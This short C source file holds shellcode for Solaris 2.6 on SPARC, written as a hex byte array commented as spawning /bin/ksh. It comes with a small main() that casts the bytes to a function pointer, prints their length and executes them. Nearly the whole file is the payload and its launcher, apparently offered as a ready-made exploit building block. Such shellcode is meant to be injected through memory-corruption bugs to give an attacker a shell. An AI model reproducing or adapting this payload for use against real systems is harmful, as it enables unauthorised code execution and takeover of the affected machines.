/* 39 bytes Solaris 2.6 SPARC execute /bin/ksh to make life easier --srm */ static char ksh[] = "\x21\xbf\xff\xff" "\x21\xbf\xff\xff" "\x7f\xff\xff\xff" "\x90\x03\xe0\x20" "\x92\x02\x20\x08" "\xd0\x22\x20\x08" "\xc0\x22\x60\x04" "\xc0\x2a\x20\x08" /* store k */ "\x82\x10\x20\x0b" "\x91\xd0\x20\x00" "\x2f\x62\x69\x6e" "\x2f\x6b\x73\x68"; int main () { int (*ret)(); /* ret is a function pointer */ ret = (int(*)())ksh; /* ret points to our shellcode */ /* shellcode is type caste as a function */ printf("%d\n", strlen(ksh)); (int)(*ret)(); /* execute, as a function, shellcode[] */ }